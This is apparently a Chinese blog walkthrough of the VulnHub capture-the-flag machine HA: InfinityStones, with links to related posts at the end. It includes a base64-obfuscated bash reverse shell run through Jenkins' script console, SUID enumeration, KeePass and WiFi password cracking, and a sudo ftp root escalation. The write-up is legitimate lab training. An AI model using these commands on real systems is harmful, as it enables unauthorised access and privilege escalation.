VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones
Vulnhub靶场
下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/
背景:
灭霸认为,如果他杀死了宇宙中所有生命的一半,将恢复平衡。为此,他需要所有六块无限宝石来驱动无限手套,这反过来又使他能够弯曲时间,空间,能量以及物理和现实定律。但是这次复仇者联盟比灭霸领先一步。复仇者联盟在这个CTF中隐藏了所有无限宝石。帮助灭霸获得所有无限宝石并恢复宇宙的平衡。
该机器包含6种带有6种不同标志的无限宝石来测试您的技能,找出它们。
Space Stone空间宝石
Mind Stone心灵宝石
Reality Stone现实宝石
Time Stone时间宝石
Power Stone力量宝石
Soul Stone灵魂宝石
首页,六颗宝石不断切换:
对端口进行探测:
对22端口的SSH进行初步爆破,正常是不会成功的,如果常见用户名及弱口令的话,也是一个突破口。
8080端口:jenkins
443端口:
先对网站进行目录扫描,
对该url进行访问:
http://192.168.136.176/images/
发现是首页中存在的图片,应该不存在宝石,往下走先。
下载,利用编辑器打开。
获取到了空间宝石SPACESTONE:{74E57403424607145B9B77809DEB49D0}
访问该链接:http://192.168.136.176/wifi
.cap是存储WiFi密码的数据包(以前对WiFi进行爆破时接触到过)
Pwd.txt规定了密码了类型,生成字典进行爆破。
利用pydictor生成相关字典。
python3 pydictor.py --conf "[A-Z]{1,1}<none>[0-9]{2,2}<none>[a-z]{2,2}<none>2012" --head gam
生成了21M的字典,枚举。
正常都是使用Aircrack-ng 套件来破解(以前做WiFi实验使用过)
这次使用下WIFIPR这款软件进行破解,试下性能。(搞了个21M的字典,来个A00的密码,裂开了)
获取到密码,gamA00fe2012,WiFi的密码在哪输入呢,接在后面输入试试。
再试下根目录,成功。
获取到了现实宝石,REALITYSTONE:{4542E4C233F26B4FAF6B5F3FED24280C}
接着对主站进行测试,点开是答题的页面,二进制,刚好8道题。
没办法,看电影就看炫酷了,百度一手。
答案为01101001
还尝试了GET输入,不正确:
http://192.168.136.176/aether.php?quiz=01101001
http://192.168.136.176/aether.php?id=01101001
最终还是放在目录下成功获取信息。
打开文本。
不是摩斯密码,是一种加密方式,Brainfuck解释器
https://www.splitbrain.org/services/ook
解密为 admin:avengers
密码应该是给Jenkins用的。
http://192.168.136.176:8080/ 登录成功
该服务存在命令执行,http://192.168.136.176:8080/script
执行whoami,代码为:println "whoami".execute().text
反弹shell
bash -i >& /dev/tcp/192.168.136.1/3418 0>&1经过base64加密得:
println "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xLzM0MTggMD4mMQ==}|{base64,-d}|{bash,-i}".execute().text
在里面翻了~、/opt、/tmp都没有发现txt的flag。
那先尝试提权吧,查询suid权限。
find / -user root -perm -4000 -print 2>/dev/null
查看下:/opt/script,发现了
获取到了时间宝石TIMESTONE:{141BC86DFD5C40E3CC37219C18D471CA}
再回去/opt路径下看另一个文件有没有玄机,前面就只是简单的cat看了下。
复制到页面将其下载
KDBX是什么
下载KeePass来打开该文件。
利用JtR(John the Ripper)工具将将不同的文件类型转换为JTR兼容的攻击文件
利用/usr/sbin/keepass2john将morag.kdbx转换为hash
/usr/sbin/keepass2john morag.kdbx >gogogo.hash
再利用john对gogogo.hash进行撞库
John gogogo.hash
进入文件
获取到了力量宝石POWERSTONE:{EDDF140F156862C9B494C0B767DCD412}
同时发现
对https://keepass.info/help/kb/testform.html进行访问登录,设置的虚假信息。
存储的另一个点。
将bW9yYWc6eW9uZHU= 解密得(base64)
morag:yondu
前面在翻/home时有发现morag的文件夹,尝试SSH连接。
成功登录,前面获取的shell也能访问该文件夹,但权限不同,利用该账号尝试提权。
查看suid权限文件find / -user root -perm -4000 -print 2>/dev/null
和前面的文件差不多,看看sudo -l怎么样,jenkins账号没有。
能够以root权限运行ftp,利用ftp提权。(这里的![linux系统命令]表示的是在ftp中执行系统命令,返回ftp环境中)
cat /root/final.txt
获取到root下的flag。
获取到了灵魂宝石,SOULSTONE:{56F06B4DAC14CE346998483989ABFF16}
提权的都找到了,还要一个呢,查看了下/var/www/html下的文件,还有一个页面没看见过。
访问http://192.168.136.176/tesseract.html,宇宙魔方页面???
最后看了下提示,原来在SSL的证书里。
同时,nmap能够显示证书验证者:
获取到了心灵宝石,MINDSTONE:{4542E4C233F26B4FAF6B5F3FED24280C}
集齐六颗无限宝石,打个响指。---end
VulnHub靶场学习_HA: InfinityStones的更多相关文章
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- python中可变长度参数详解
1. *args用法:python会将所有位置的参数收集到一个元组中 2. **args用法:python会将关键字参数传递给一个新的字典.**允许将关键字参数转换为字典 用法见如下代码: def f ...
- Java并发编程(03):多线程并发访问,同步控制
本文源码:GitHub·点这里 || GitEE·点这里 一.并发问题 多线程学习的时候,要面对的第一个复杂问题就是,并发模式下变量的访问,如果不理清楚内在流程和原因,经常会出现这样一个问题:线程处理 ...
- leetcode 签到 面试题 17.16. 按摩师 动态规划
题目: 一个有名的按摩师会收到源源不断的预约请求,每个预约都可以选择接或不接.在每次预约服务之间要有休息时间,因此她不能接受相邻的预约.给定一个预约请求序列,替按摩师找到最优的预约集合(总预约时间最长 ...
- 牛客网剑指offer【Python实现】——part2
不用加减乘除做加法 写一个函数,求两个整数之和,要求在函数体内不得使用+.-.*./四则运算符号. 两个数异或:相当于每一位相加,而不考虑进位: 两个数相与,并左移一位:相当于求得进位: 将上述两步的 ...
- 2020面试整理【java】
spring面试题 1.你对spring的理解 Spring 是个Java企业级应用的开源开发框架. Spring主要用来开发Java应用,但是有些扩展是针对构建J2EE平台的web应用. Sprin ...
- 5分钟配置好你的AI开发环境
作者 | Revolver 无论是第一次设置TensorFlow的新手数据科学爱好者,还是使用TB级数据的经验丰富的AI工程师,安装库.软件包或者框架总是一个困难又繁琐的过程.但是像Docker这样的 ...
- arcgis10.4.X的oracle数据库要求
受支持的数据库版本:(标准版/标准独立版/企业版) Oracle 11g R2(64 位)11.2.0.4 Oracle 12c R1(64 位)12.1.0.2 受支持的操作系统: 数据库 支持的操 ...
- [白话解析] 通俗解析集成学习之bagging,boosting & 随机森林
[白话解析] 通俗解析集成学习之bagging,boosting & 随机森林 0x00 摘要 本文将尽量使用通俗易懂的方式,尽可能不涉及数学公式,而是从整体的思路上来看,运用感性直觉的思考来 ...
- B. Kvass and the Fair Nut
B. Kvass and the Fair Nut time limit per test 1 second memory limit per test 256 megabytes input sta ...
- Apache本地服务器搭建(Mac版)
由于Mac自带apache服务器,所以无需下载,apache默认处于开启状态. 可以在浏览器输入localhost,显示It works!,代表目前处于开启状态,默认文件目录为/Library/Web ...